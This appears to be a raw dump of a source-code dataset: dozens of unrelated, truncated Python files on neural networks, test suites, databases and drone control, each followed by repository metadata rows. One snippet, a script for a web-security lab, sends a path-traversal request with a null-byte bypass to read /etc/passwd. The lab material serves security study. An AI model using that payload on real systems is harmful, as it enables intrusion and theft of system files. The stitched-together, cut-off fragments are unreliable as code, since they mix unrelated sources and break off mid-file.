from common_fixtures import * # NOQA import websocket as ws import pytest def get_logs(client): hosts = client.list_host(kind='docker', removed_null=True) assert len(hosts) > 0 in_log = random_str() cmd = '/bin/bash -c "echo {}; sleep 2"'.format(in_log) c = client.create_container(image=TEST_IMAG...
28.853659
68
0.687236
0af5f234889bb24214fc2ee681419b82d7cdaceb
13,717
py
Python
models/psg_seed_resnet.py
VITA-Group/Peek-a-Boo
9290d4e5e3aee0dff994e1a664ec91bd6ec93176
[ "MIT" ]
2
2022-01-22T03:57:21.000Z
2022-01-30T20:44:32.000Z
models/psg_seed_resnet.py
VITA-Group/Peek-a-Boo
9290d4e5e3aee0dff994e1a664ec91bd6ec93176
[ "MIT" ]
null
null
null
models/psg_seed_resnet.py
VITA-Group/Peek-a-Boo
9290d4e5e3aee0dff994e1a664ec91bd6ec93176
[ "MIT" ]
2
2022-01-30T12:26:56.000Z
2022-03-14T12:42:06.000Z
'''ResNet using PSG in PyTorch. For Pre-activation ResNet, see 'preact_resnet.py'. Reference: [1] Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun Deep Residual Learning for Image Recognition. arXiv:1512.03385 ''' from numpy.lib.arraysetops import isin import torch import torch.nn as nn import torch.nn.functiona...
37.787879
139
0.679813
0af634a53b2ebcc4683b0c1863c9043af5a4905d
1,090
py
Python
drybell/drybell_lfs_spark.py
jsnlp/snorkel-tutorials
b4cda9f918daf77f4011ec1598c08d9bd7e51c39
[ "Apache-2.0" ]
315
2019-07-27T22:49:20.000Z
2022-03-30T10:02:02.000Z
drybell/drybell_lfs_spark.py
jsnlp/snorkel-tutorials
b4cda9f918daf77f4011ec1598c08d9bd7e51c39
[ "Apache-2.0" ]
133
2019-07-25T02:07:37.000Z
2022-03-29T12:08:32.000Z
drybell/drybell_lfs_spark.py
jsnlp/snorkel-tutorials
b4cda9f918daf77f4011ec1598c08d9bd7e51c39
[ "Apache-2.0" ]
173
2019-08-13T02:27:11.000Z
2022-03-30T05:26:40.000Z
from pyspark.sql import Row from snorkel.labeling.lf import labeling_function from snorkel.labeling.lf.nlp_spark import spark_nlp_labeling_function from snorkel.preprocess import preprocessor from drybell_lfs import load_celebrity_knowledge_base ABSTAIN = -1 NEGATIVE = 0 POSITIVE = 1 @preprocessor() def combine_tex...
26.585366
83
0.748624
0af65b8666e4023ddc4b24aa0b03dd9c64d6dd98
15,465
py
Python
dreamplace/ops/dct/discrete_spectral_transform.py
dongleecsu/DREAMPlace
86b56521a3eacfb5cadff935631302bf6986a689
[ "BSD-3-Clause" ]
12
2022-03-01T06:46:42.000Z
2022-03-27T03:40:45.000Z
dreamplace/ops/dct/discrete_spectral_transform.py
dongleecsu/DREAMPlace
86b56521a3eacfb5cadff935631302bf6986a689
[ "BSD-3-Clause" ]
4
2022-03-08T13:00:01.000Z
2022-03-30T10:07:01.000Z
dreamplace/ops/dct/discrete_spectral_transform.py
dongleecsu/DREAMPlace
86b56521a3eacfb5cadff935631302bf6986a689
[ "BSD-3-Clause" ]
8
2022-03-01T06:46:45.000Z
2022-03-29T12:40:05.000Z
## # @file discrete_spectral_transform.py # @author Yibo Lin # @date Jun 2018 # import os import sys import numpy as np import torch import torch.nn.functional as F import pdb """ Discrete spectral transformation leveraging fast fourier transform engine. The math here mainly uses Prosthaphaeresis properties. The ...
35.798611
131
0.643453
0af766c917854c90cf7eae087d9105162f3eb248
8,667
py
Python
py/testdir_multi_jvm/test_many_fp_formats_libsvm_2.py
vkuznet/h2o
e08f7014f228cbaecfb21f57379970e6a3ac0756
[ "Apache-2.0" ]
null
null
null
py/testdir_multi_jvm/test_many_fp_formats_libsvm_2.py
vkuznet/h2o
e08f7014f228cbaecfb21f57379970e6a3ac0756
[ "Apache-2.0" ]
null
null
null
py/testdir_multi_jvm/test_many_fp_formats_libsvm_2.py
vkuznet/h2o
e08f7014f228cbaecfb21f57379970e6a3ac0756
[ "Apache-2.0" ]
null
null
null
import unittest, random, sys, time sys.path.extend(['.','..','py']) import h2o, h2o_cmd, h2o_hosts, h2o_browse as h2b, h2o_import as h2i, h2o_exec as h2e, h2o_glm import h2o_util zeroList = [ 'Result0 = 0', ] # the first column should use this exprList = [ 'Result<n> = sum(<keyX>[<col1>])', ] DO_S...
45.376963
151
0.572055
0af886d3e8e59b20a8f0a8f86ad88dbe765599d2
14,441
py
Python
python/influx/database_tables.py
SA-22C-smoothswing/spectrum-protect-sppmon
8a9c70f65d9faf6ffc35f3400383dcaa6e0fcbc6
[ "Apache-2.0" ]
null
null
null
python/influx/database_tables.py
SA-22C-smoothswing/spectrum-protect-sppmon
8a9c70f65d9faf6ffc35f3400383dcaa6e0fcbc6
[ "Apache-2.0" ]
null
null
null
python/influx/database_tables.py
SA-22C-smoothswing/spectrum-protect-sppmon
8a9c70f65d9faf6ffc35f3400383dcaa6e0fcbc6
[ "Apache-2.0" ]
null
null
null
"""Provides all database and table structures used for the influx database. Classes: Datatype Database Table RetentionPolicy """ from __future__ import annotations from enum import Enum, unique import re import json from typing import Any, Dict, List, Set, Tuple, Union import influx.influx_queries as ...
36.012469
119
0.628696
0af8af43646ac075b324487dffc3942d97354220
1,145
py
Python
examples/rpc_server_side.py
calendar42/SleekXMPP--XEP-0080-
d7bd5fd29f26a5d7de872a49ff63a353b8043e49
[ "BSD-3-Clause" ]
1
2016-10-24T05:30:25.000Z
2016-10-24T05:30:25.000Z
examples/rpc_server_side.py
vijayp/SleekXMPP
b2e7f57334d27f140f079213c2016615b7168742
[ "BSD-3-Clause" ]
null
null
null
examples/rpc_server_side.py
vijayp/SleekXMPP
b2e7f57334d27f140f079213c2016615b7168742
[ "BSD-3-Clause" ]
null
null
null
""" SleekXMPP: The Sleek XMPP Library Copyright (C) 2011 Dann Martens This file is part of SleekXMPP. See the file LICENSE for copying permission. """ from sleekxmpp.plugins.xep_0009.remote import Endpoint, remote, Remote, \ ANY_ALL import threading class Thermostat(Endpoint): def FQN(s...
22.019231
73
0.627074
0af8ec7bff7f3176683d674120e0f5944b63d168
11,868
py
Python
lib/TelloAPI.py
wuhuikai/DeepDrone
f4700178a7568fa9e308f34d0223e28635eb7660
[ "MIT" ]
1
2019-08-19T00:12:56.000Z
2019-08-19T00:12:56.000Z
lib/TelloAPI.py
wuhuikai/DeepDrone
f4700178a7568fa9e308f34d0223e28635eb7660
[ "MIT" ]
null
null
null
lib/TelloAPI.py
wuhuikai/DeepDrone
f4700178a7568fa9e308f34d0223e28635eb7660
[ "MIT" ]
null
null
null
import cv2 import time import socket import threading class Response(object): def __init__(self): pass def recv(self, data): pass def pop(self): pass def empty(self): pass class Command(Response): def __init__(self): super(Command, self).__init__() ...
28.528846
153
0.565133
0af8f9b563483812450b36d24892bee1c8265e62
388
py
Python
terrascript/resource/sematext.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
507
2017-07-26T02:58:38.000Z
2022-01-21T12:35:13.000Z
terrascript/resource/sematext.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
135
2017-07-20T12:01:59.000Z
2021-10-04T22:25:40.000Z
terrascript/resource/sematext.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
81
2018-02-20T17:55:28.000Z
2022-01-31T07:08:40.000Z
# terrascript/resource/sematext.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:26:36 UTC) # # For imports without namespace, e.g. # # >>> import terrascript.resource.sematext # # instead of # # >>> import terrascript.resource.sematext.sematext # # This is only available for 'official' and 'partne...
25.866667
73
0.75
0af95702c3886ad24fef9b7d2bef0b353d7f0d8a
5,779
py
Python
eval_encoder.py
lithium0003/Image2UTF8-Transformer
2620af2a8bdaf332e25b39ce05d610e21e6492fc
[ "MIT" ]
null
null
null
eval_encoder.py
lithium0003/Image2UTF8-Transformer
2620af2a8bdaf332e25b39ce05d610e21e6492fc
[ "MIT" ]
null
null
null
eval_encoder.py
lithium0003/Image2UTF8-Transformer
2620af2a8bdaf332e25b39ce05d610e21e6492fc
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import tensorflow as tf physical_devices = tf.config.list_physical_devices('GPU') try: tf.config.experimental.set_memory_growth(physical_devices[0], True) except: # Invalid device or cannot modify virtual devices once initialized. pass import numpy as np import os, time, csv import ...
37.525974
167
0.554767
0afa87a4b421519306afb64f3b1e1263669a468c
22,351
py
Python
clipper_admin/clipper_admin/clipper_admin.py
SimonZsx/clipper
457088be2ebe68c68b94d90389d1308e35b4c844
[ "Apache-2.0" ]
2
2019-04-24T13:46:28.000Z
2019-05-28T06:59:26.000Z
clipper_admin/clipper_admin/clipper_admin.py
SimonZsx/clipper
457088be2ebe68c68b94d90389d1308e35b4c844
[ "Apache-2.0" ]
null
null
null
clipper_admin/clipper_admin/clipper_admin.py
SimonZsx/clipper
457088be2ebe68c68b94d90389d1308e35b4c844
[ "Apache-2.0" ]
4
2019-04-03T11:03:57.000Z
2019-06-26T08:22:38.000Z
from __future__ import absolute_import, division, print_function import logging import docker import tempfile import requests from requests.exceptions import RequestException import json import pprint import time import re import os import tarfile import sys from cloudpickle import CloudPickler import pickle import num...
39.629433
176
0.579437
0afb2dc8c2daf11d9a82ca819aeffdafacc6c971
2,515
py
Python
graph.py
VaniSHadow/tpGenerator
2a2e0a65df48c812d9fa2e2b1474573c6a6ab6c0
[ "Unlicense" ]
null
null
null
graph.py
VaniSHadow/tpGenerator
2a2e0a65df48c812d9fa2e2b1474573c6a6ab6c0
[ "Unlicense" ]
null
null
null
graph.py
VaniSHadow/tpGenerator
2a2e0a65df48c812d9fa2e2b1474573c6a6ab6c0
[ "Unlicense" ]
null
null
null
import random import numpy import copy class Graph: """n表示图中点的个数,m表示图中边的个数""" def __init__(self, n, m, edge_weight=1, directed=True, connected='weak', loop=False, weighted=False, trim=True): """ n 图中点的个数 m 图中边的个数 edge_weight 边的权值上限 directed 有向性 connected 连通性 loop 有环性 weighted 带权性 trim ...
27.043011
113
0.622664
0afbde7fb6ef3a1d965ab24316c2720252ada994
970
py
Python
csv2googlesheets/to_google_sheets.py
AlexSkrn/csv2googlesheets
71656dcc6827b1c58ffe80bc55aa6f1ee816f216
[ "MIT" ]
null
null
null
csv2googlesheets/to_google_sheets.py
AlexSkrn/csv2googlesheets
71656dcc6827b1c58ffe80bc55aa6f1ee816f216
[ "MIT" ]
null
null
null
csv2googlesheets/to_google_sheets.py
AlexSkrn/csv2googlesheets
71656dcc6827b1c58ffe80bc55aa6f1ee816f216
[ "MIT" ]
null
null
null
"""This module provides a console interface to convert CSV to Google Sheets.""" from csv2googlesheets.gapi_authorization import auth_with_google from csv2googlesheets.gapi_create_sheet import create_sheet from csv2googlesheets.gapi_write_to_sheet import write_to_sheet from csv2googlesheets.parse_file import build_spr...
32.333333
79
0.786598
0afbe95b203d0f0c8eb9b8de7581ea6aec0cc6c2
450
py
Python
netforce_account/netforce_account/migrations/credit_remain_cur.py
nfco/netforce
35252eecd0a6633ab9d82162e9e3ff57d4da029a
[ "MIT" ]
27
2015-09-30T23:53:30.000Z
2021-06-07T04:56:25.000Z
netforce_account/netforce_account/migrations/credit_remain_cur.py
nfco/netforce
35252eecd0a6633ab9d82162e9e3ff57d4da029a
[ "MIT" ]
191
2015-10-08T11:46:30.000Z
2019-11-14T02:24:36.000Z
netforce_account/netforce_account/migrations/credit_remain_cur.py
nfco/netforce
35252eecd0a6633ab9d82162e9e3ff57d4da029a
[ "MIT" ]
32
2015-10-01T03:59:43.000Z
2022-01-13T07:31:05.000Z
from netforce.model import get_model from netforce import migration from netforce import database class Migration(migration.Migration): _name="account.credit_remain_cur" _version="2.5.0" def migrate(self): db=database.get_connection() db.execute("UPDATE account_invoice SET amount_credit_re...
32.142857
170
0.791111
0afc21eecdc60b266d8862b6f28eebf607699a5d
48,451
py
Python
chevah/compat/testing/testcase.py
chevah/compat
d22e5f551a628f8a1652c9f2eea306e17930cb8f
[ "BSD-3-Clause" ]
5
2016-12-03T22:54:50.000Z
2021-11-17T11:17:39.000Z
chevah/compat/testing/testcase.py
chevah/compat
d22e5f551a628f8a1652c9f2eea306e17930cb8f
[ "BSD-3-Clause" ]
76
2015-01-22T16:00:31.000Z
2022-02-09T22:13:34.000Z
chevah/compat/testing/testcase.py
chevah/compat
d22e5f551a628f8a1652c9f2eea306e17930cb8f
[ "BSD-3-Clause" ]
1
2016-12-10T15:57:31.000Z
2016-12-10T15:57:31.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2011 Adi Roiban. # See LICENSE for details. """ TestCase used for Chevah project. """ from __future__ import print_function from __future__ import division from __future__ import absolute_import from six import text_type from six.moves import range import contextlib import inspec...
33.049795
78
0.593053
0afd7a5b152406bcaea034f10b6d1b88302e3d68
434
py
Python
web/snowflake.py
jphacks/C_2118
a63279e92362e09d1856e3d44edb4793d370fd7a
[ "MIT" ]
null
null
null
web/snowflake.py
jphacks/C_2118
a63279e92362e09d1856e3d44edb4793d370fd7a
[ "MIT" ]
5
2021-10-30T00:55:45.000Z
2021-10-30T04:23:36.000Z
web/snowflake.py
jphacks/C_2118
a63279e92362e09d1856e3d44edb4793d370fd7a
[ "MIT" ]
null
null
null
import time class Snowflake: def __init__(self, init_serial_no=0): self.machine_id = 0 self.epoch = 0 self.serial_no = init_serial_no def generate(self): unique_id = ( ((int(time.time() * 1000) - self.epoch) & 0x1FFFFFFFFFF) << 22 | (self.machine_id & 0...
24.111111
74
0.546083
0afd820091335019ca4a87a89952513413136cc0
69
py
Python
src/metarl/tf/plotter/__init__.py
icml2020submission6857/metarl
9b66cefa2b6bcb6a38096d629ce8853b47c7171d
[ "MIT" ]
2
2020-03-15T14:35:15.000Z
2021-02-15T16:38:00.000Z
src/metarl/tf/plotter/__init__.py
neurips2020submission11699/metarl
ae4825d21478fa1fd0aa6b116941ea40caa152a5
[ "MIT" ]
null
null
null
src/metarl/tf/plotter/__init__.py
neurips2020submission11699/metarl
ae4825d21478fa1fd0aa6b116941ea40caa152a5
[ "MIT" ]
1
2020-02-24T03:04:23.000Z
2020-02-24T03:04:23.000Z
from metarl.tf.plotter.plotter import Plotter __all__ = ['Plotter']
17.25
45
0.768116
0afe13064838542a197bda7a6f3924d3d020b310
1,912
py
Python
generative_deep_learning/build_network.py
slaily/deep-learning-bits
cb9ce7ec539efbdfcaa023d141466f919bd31b71
[ "MIT" ]
null
null
null
generative_deep_learning/build_network.py
slaily/deep-learning-bits
cb9ce7ec539efbdfcaa023d141466f919bd31b71
[ "MIT" ]
null
null
null
generative_deep_learning/build_network.py
slaily/deep-learning-bits
cb9ce7ec539efbdfcaa023d141466f919bd31b71
[ "MIT" ]
null
null
null
from keras import layers # Single-layer LSTM model for next-character prediction model = keras.models.Sequential() model.add(layers.LSTM(128, input_shape=(maxlen, len(chars)))) model.add(layers.Dense(len(chars), activation='softmax')) # Model compilation configuration optimizer = keras.optimizers.RMSprop(lr=0.01) mod...
33.54386
69
0.668933
0afe1be38b21464d40015306f8c1387f5700680f
4,962
py
Python
tests/test_structure_learning.py
thunderbug1/pyanom
e442bff70a4d1880a9a698c020287edf1933d498
[ "MIT" ]
null
null
null
tests/test_structure_learning.py
thunderbug1/pyanom
e442bff70a4d1880a9a698c020287edf1933d498
[ "MIT" ]
null
null
null
tests/test_structure_learning.py
thunderbug1/pyanom
e442bff70a4d1880a9a698c020287edf1933d498
[ "MIT" ]
null
null
null
import io import unittest import numpy as np class TestGraphicalLasso(unittest.TestCase): """Basic test cases.""" def _getTarget(self): from pyanom.structure_learning import GraphicalLasso return GraphicalLasso def _makeOne(self, *args, **kwargs): return self._getTarget()(*args,...
48.174757
77
0.438734
0afe544e807773d996329c44f23a45f84862abbe
2,610
py
Python
examples/MDF/states.py
29riyasaxena/MDF
476e6950d0f14f29463eb4f6e3be518dfb2160a5
[ "Apache-2.0" ]
12
2021-01-18T20:38:21.000Z
2022-03-29T15:01:10.000Z
examples/MDF/states.py
29riyasaxena/MDF
476e6950d0f14f29463eb4f6e3be518dfb2160a5
[ "Apache-2.0" ]
101
2020-12-14T15:23:07.000Z
2022-03-31T17:06:19.000Z
examples/MDF/states.py
29riyasaxena/MDF
476e6950d0f14f29463eb4f6e3be518dfb2160a5
[ "Apache-2.0" ]
15
2020-12-04T22:37:14.000Z
2022-03-31T09:48:03.000Z
""" Example of ModECI MDF - Testing state variables """ from modeci_mdf.mdf import * import sys def main(): mod = Model(id="States") mod_graph = Graph(id="state_example") mod.graphs.append(mod_graph) ## Counter node counter_node = Node(id="counter_node") p1 = Parameter(id="increment", v...
25.841584
104
0.591188
0afefe0acef029f680c5802bbedac80261a2e2f4
8,958
py
Python
gremlin-python/src/main/jython/tests/driver/test_client.py
jseekamp/tinkerpop
5f7b7d2c4353cf2d8ee48eed6c0e5632666d16c0
[ "Apache-2.0" ]
1
2019-06-24T09:10:32.000Z
2019-06-24T09:10:32.000Z
gremlin-python/src/main/jython/tests/driver/test_client.py
jseekamp/tinkerpop
5f7b7d2c4353cf2d8ee48eed6c0e5632666d16c0
[ "Apache-2.0" ]
4
2021-01-21T01:33:32.000Z
2022-01-21T23:48:58.000Z
gremlin-python/src/main/jython/tests/driver/test_client.py
jseekamp/tinkerpop
5f7b7d2c4353cf2d8ee48eed6c0e5632666d16c0
[ "Apache-2.0" ]
null
null
null
''' Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this ...
36.713115
113
0.667002
e40074d263a071da246090065d0ad8ae39b4da28
20,118
py
Python
gaia_tools/xmatch/__init__.py
henrysky/gaia_tools
c151a1d8f6896d8ef5a379291baa8a1f027bd53b
[ "MIT" ]
44
2016-09-13T06:37:46.000Z
2022-02-03T20:59:56.000Z
gaia_tools/xmatch/__init__.py
henrysky/gaia_tools
c151a1d8f6896d8ef5a379291baa8a1f027bd53b
[ "MIT" ]
24
2016-10-18T23:26:15.000Z
2020-12-08T18:24:27.000Z
gaia_tools/xmatch/__init__.py
henrysky/gaia_tools
c151a1d8f6896d8ef5a379291baa8a1f027bd53b
[ "MIT" ]
18
2016-10-18T22:26:45.000Z
2021-08-20T09:07:31.000Z
# Tools for cross-matching catalogs import csv import sys import os import os.path import platform import shutil import subprocess import tempfile import warnings WIN32= platform.system() == 'Windows' import numpy import astropy.coordinates as acoords from astropy.table import Table from astropy import units as u fro...
46.786047
261
0.607814
e400f6b243c2f7da007de4b3632bc30927997f62
14,873
py
Python
rllib/agents/dqn/dqn_torch_policy.py
ThomasLecat/ray
eb025ea8cb27583e8ef6287f5654f23d1ab270ef
[ "Apache-2.0" ]
null
null
null
rllib/agents/dqn/dqn_torch_policy.py
ThomasLecat/ray
eb025ea8cb27583e8ef6287f5654f23d1ab270ef
[ "Apache-2.0" ]
null
null
null
rllib/agents/dqn/dqn_torch_policy.py
ThomasLecat/ray
eb025ea8cb27583e8ef6287f5654f23d1ab270ef
[ "Apache-2.0" ]
null
null
null
from typing import Dict, List, Tuple import gym import ray from ray.rllib.agents.a3c.a3c_torch_policy import apply_grad_clipping from ray.rllib.agents.dqn.dqn_tf_policy import ( PRIO_WEIGHTS, Q_SCOPE, Q_TARGET_SCOPE, postprocess_nstep_and_prio) from ray.rllib.agents.dqn.dqn_torch_model import DQNTorchModel from ra...
39.76738
79
0.638741
e4011ff0a2fe000023c186be9341efbe90bde007
57
py
Python
formfyxer/__init__.py
SuffolkLITLab/FormFyxer
00a6a70b30f1899fc5273de1001f1f57c3728f60
[ "MIT" ]
1
2022-03-07T23:22:00.000Z
2022-03-07T23:22:00.000Z
formfyxer/__init__.py
SuffolkLITLab/FormFyxer
00a6a70b30f1899fc5273de1001f1f57c3728f60
[ "MIT" ]
32
2022-02-10T17:33:58.000Z
2022-03-23T18:27:08.000Z
formfyxer/__init__.py
SuffolkLITLab/FormFyxer
00a6a70b30f1899fc5273de1001f1f57c3728f60
[ "MIT" ]
null
null
null
from .lit_explorer import * from .pdf_wrangling import *
19
28
0.789474
e40169279b6d0abaccc4f8f3610827c98bbcceff
6,197
py
Python
Overview/11 - funktsioonid.py
priidupaomets/python_kursus
731ab386ca40c321288659db21db23912ca7f8dd
[ "MIT" ]
1
2021-02-19T15:21:28.000Z
2021-02-19T15:21:28.000Z
Overview/11 - funktsioonid.py
priidupaomets/python_kursus
731ab386ca40c321288659db21db23912ca7f8dd
[ "MIT" ]
null
null
null
Overview/11 - funktsioonid.py
priidupaomets/python_kursus
731ab386ca40c321288659db21db23912ca7f8dd
[ "MIT" ]
1
2018-03-24T11:01:46.000Z
2018-03-24T11:01:46.000Z
""" funktsioonid.py Funktsioonide ja protseduuride kasutamine """ # # Protseduur # def minu_funktsioon(): print("See on protseduur") # Kutsume funktsiooni välja minu_funktsioon() # # Funktsioon # def liida(num1, num2): return num1 + num2 sum = liida(3, 5) print(sum) # Näide vaikeväärtuste kasutamisest # ...
24.01938
116
0.606745
e401cec76e2495c504bab2f84a98dc13530872c1
6,865
py
Python
tests/integration/states/test_cmd.py
l2ol33rt/salt
ff68bbd9f4bda992a3e039822fb32f141e94347c
[ "Apache-2.0" ]
null
null
null
tests/integration/states/test_cmd.py
l2ol33rt/salt
ff68bbd9f4bda992a3e039822fb32f141e94347c
[ "Apache-2.0" ]
null
null
null
tests/integration/states/test_cmd.py
l2ol33rt/salt
ff68bbd9f4bda992a3e039822fb32f141e94347c
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- ''' Tests for the file state ''' # Import python libs from __future__ import absolute_import import errno import os import textwrap import tempfile # Import Salt Testing libs from tests.support.case import ModuleCase from tests.support.paths import TMP_STATE_TREE from tests.support.mixins impor...
34.154229
94
0.57276
e402affb74681aeffbd7073f07e5537c7f847fc0
2,591
py
Python
mars/tensor/execution/datastore.py
ChenQuan/mars
46fc9747e99210cebfabfc2d85bcc8272440d1a3
[ "Apache-2.0" ]
null
null
null
mars/tensor/execution/datastore.py
ChenQuan/mars
46fc9747e99210cebfabfc2d85bcc8272440d1a3
[ "Apache-2.0" ]
null
null
null
mars/tensor/execution/datastore.py
ChenQuan/mars
46fc9747e99210cebfabfc2d85bcc8272440d1a3
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright 1999-2018 Alibaba Group Holding Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-...
37.550725
89
0.63296
e4041f8f3f0e170375ff7b152259c16fb293ef71
1,689
py
Python
fastgc/model/mlp.py
ppmlguy/fastgradclip
0d8bff42ab13fa3471c520a2823050ccf0ff4a21
[ "MIT" ]
2
2020-10-16T10:14:25.000Z
2021-03-25T17:19:34.000Z
fastgc/model/mlp.py
ppmlguy/fastgradclip
0d8bff42ab13fa3471c520a2823050ccf0ff4a21
[ "MIT" ]
null
null
null
fastgc/model/mlp.py
ppmlguy/fastgradclip
0d8bff42ab13fa3471c520a2823050ccf0ff4a21
[ "MIT" ]
null
null
null
import torch import torch.nn as nn import torch.nn.functional as F from fastgc.model.penet import PeGradNet from fastgc.layers.linear import Linear from fastgc.activation import activation class MLP(PeGradNet): def __init__(self, input_size, hidden_sizes, output_size, act_func='sigmoid', train_al...
35.1875
102
0.605684
e40722bed82cf8f0cac95ef9146f043dd3dc25ca
5,318
py
Python
05-Environments/hw02/hw02/hw02.py
ericchen12377/CS61A_LearningDoc
31f23962b0e2834795bf61eeb0f4884cc5da1809
[ "MIT" ]
2
2020-04-24T18:36:53.000Z
2020-04-25T00:15:55.000Z
05-Environments/hw02/hw02/hw02.py
ericchen12377/CS61A_LearningDoc
31f23962b0e2834795bf61eeb0f4884cc5da1809
[ "MIT" ]
null
null
null
05-Environments/hw02/hw02/hw02.py
ericchen12377/CS61A_LearningDoc
31f23962b0e2834795bf61eeb0f4884cc5da1809
[ "MIT" ]
null
null
null
""" Homework 2: Higher Order Functions""" HW_SOURCE_FILE = 'hw02.py' from operator import add, mul, sub square = lambda x: x * x identity = lambda x: x triple = lambda x: 3 * x increment = lambda x: x + 1 ###################### # Required Questions # ###################### def product(n, f): """Return the pr...
25.690821
92
0.548326
e407a1b65cd96d68a622c0a025047b036e6148f4
21,659
py
Python
test_vector_handlers/src/awses_test_vectors/manifests/full_message/decrypt_generation.py
farleyb-amazon/aws-encryption-sdk-python
7950abd73ee333407d2dadd02ef2d57c3df464cf
[ "Apache-2.0" ]
95
2018-08-20T23:10:00.000Z
2022-02-17T02:54:32.000Z
test_vector_handlers/src/awses_test_vectors/manifests/full_message/decrypt_generation.py
farleyb-amazon/aws-encryption-sdk-python
7950abd73ee333407d2dadd02ef2d57c3df464cf
[ "Apache-2.0" ]
220
2018-08-01T20:56:29.000Z
2022-03-28T18:12:35.000Z
test_vector_handlers/src/awses_test_vectors/manifests/full_message/decrypt_generation.py
farleyb-amazon/aws-encryption-sdk-python
7950abd73ee333407d2dadd02ef2d57c3df464cf
[ "Apache-2.0" ]
63
2018-08-01T19:37:33.000Z
2022-03-20T17:14:15.000Z
# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompa...
43.755556
120
0.722009
e409ad0c94dc67812d4ce4eb1f3a9b3b256b6a43
638
py
Python
acceptance/test/TestStartStopFeature.py
ismacaulay/qtcwatchdog
72f3588eef1019bac8788fa58c52722dfa7c4d28
[ "MIT" ]
null
null
null
acceptance/test/TestStartStopFeature.py
ismacaulay/qtcwatchdog
72f3588eef1019bac8788fa58c52722dfa7c4d28
[ "MIT" ]
12
2015-10-22T15:38:28.000Z
2016-03-22T18:53:57.000Z
acceptance/test/TestStartStopFeature.py
ismacaulay/qtcwatchdog
72f3588eef1019bac8788fa58c52722dfa7c4d28
[ "MIT" ]
null
null
null
from acceptance.harness.acceptance_test import WatchdogAcceptanceTest class TestStartStopFeature(WatchdogAcceptanceTest): def test_willStartObserverWhenWatchdogStarted(self): self.create_and_start_watchdog() self.assertTrue(self.fs_observer.running) def test_willStopObserverWhenWatchdogStop...
26.583333
69
0.761755
e409e1ff47556f0c395cedaf6538d4e9082df50c
1,243
py
Python
neural_spline_flows/nde/transforms/transform_test.py
VincentStimper/nsf
6bde505639ebcb67bffa227ea0021e3de235e03d
[ "MIT" ]
null
null
null
neural_spline_flows/nde/transforms/transform_test.py
VincentStimper/nsf
6bde505639ebcb67bffa227ea0021e3de235e03d
[ "MIT" ]
null
null
null
neural_spline_flows/nde/transforms/transform_test.py
VincentStimper/nsf
6bde505639ebcb67bffa227ea0021e3de235e03d
[ "MIT" ]
null
null
null
import torch import torchtestcase from neural_spline_flows.nde.transforms import base class TransformTest(torchtestcase.TorchTestCase): """Base test for all transforms.""" def assert_tensor_is_good(self, tensor, shape=None): self.assertIsInstance(tensor, torch.Tensor) self.assertFalse(torch....
37.666667
78
0.693484
e40c283a7830ae526fea47bfe3f1719fdb809be3
358
py
Python
directory-traversal/validate-file-extension-null-byte-bypass.py
brandonaltermatt/penetration-testing-scripts
433b5d000a5573e60b9d8e49932cedce74937ebc
[ "MIT" ]
null
null
null
directory-traversal/validate-file-extension-null-byte-bypass.py
brandonaltermatt/penetration-testing-scripts
433b5d000a5573e60b9d8e49932cedce74937ebc
[ "MIT" ]
null
null
null
directory-traversal/validate-file-extension-null-byte-bypass.py
brandonaltermatt/penetration-testing-scripts
433b5d000a5573e60b9d8e49932cedce74937ebc
[ "MIT" ]
null
null
null
""" https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass """ import sys import requests site = sys.argv[1] if 'https://' in site: site = site.rstrip('/').lstrip('https://') url = f'''https://{site}/image?filename=../../../etc/passwd%00.png''' s = requests.Session...
21.058824
101
0.664804
e40ca767179088e9b2626907b90dc14b9802c60c
10,237
py
Python
atmpro1_vsm2.py
joselynzhao/One-shot-Person-Re-ID-ATM
d039b1a66410f87cfe931774eba54a5f1a1a0260
[ "MIT" ]
3
2020-07-28T03:16:51.000Z
2020-11-23T05:39:54.000Z
atmpro1_vsm2.py
joselynzhao/One-shot-Person-Re-ID-ATM
d039b1a66410f87cfe931774eba54a5f1a1a0260
[ "MIT" ]
null
null
null
atmpro1_vsm2.py
joselynzhao/One-shot-Person-Re-ID-ATM
d039b1a66410f87cfe931774eba54a5f1a1a0260
[ "MIT" ]
null
null
null
#!/usr/bin/python3.6 # -*- coding: utf-8 -*- # @Time : 2020/9/3 上午11:03 # @Author : Joselynzhao # @Email : zhaojing17@forxmail.com # @File : atmpro1_vsm2.py # @Software: PyCharm # @Desc : #!/usr/bin/python3.6 # -*- coding: utf-8 -*- # @Time : 2020/9/1 下午7:07 # @Author : Joselynzhao # @Email : zhaojin...
41.783673
225
0.65019
7c0e42d68dd892a292e20be61de2cca89811eb9b
6,252
py
Python
consumer/tests/test__index_handler.py
eHealthAfrica/aether-elasticsearch-consumer
fc29a1da8cfd7482257b1023b50a1a43372886c5
[ "Apache-2.0" ]
null
null
null
consumer/tests/test__index_handler.py
eHealthAfrica/aether-elasticsearch-consumer
fc29a1da8cfd7482257b1023b50a1a43372886c5
[ "Apache-2.0" ]
8
2018-08-02T09:11:22.000Z
2021-09-13T14:12:22.000Z
consumer/tests/test__index_handler.py
eHealthAfrica/aether-elasticsearch-consumer
fc29a1da8cfd7482257b1023b50a1a43372886c5
[ "Apache-2.0" ]
1
2019-10-29T11:29:32.000Z
2019-10-29T11:29:32.000Z
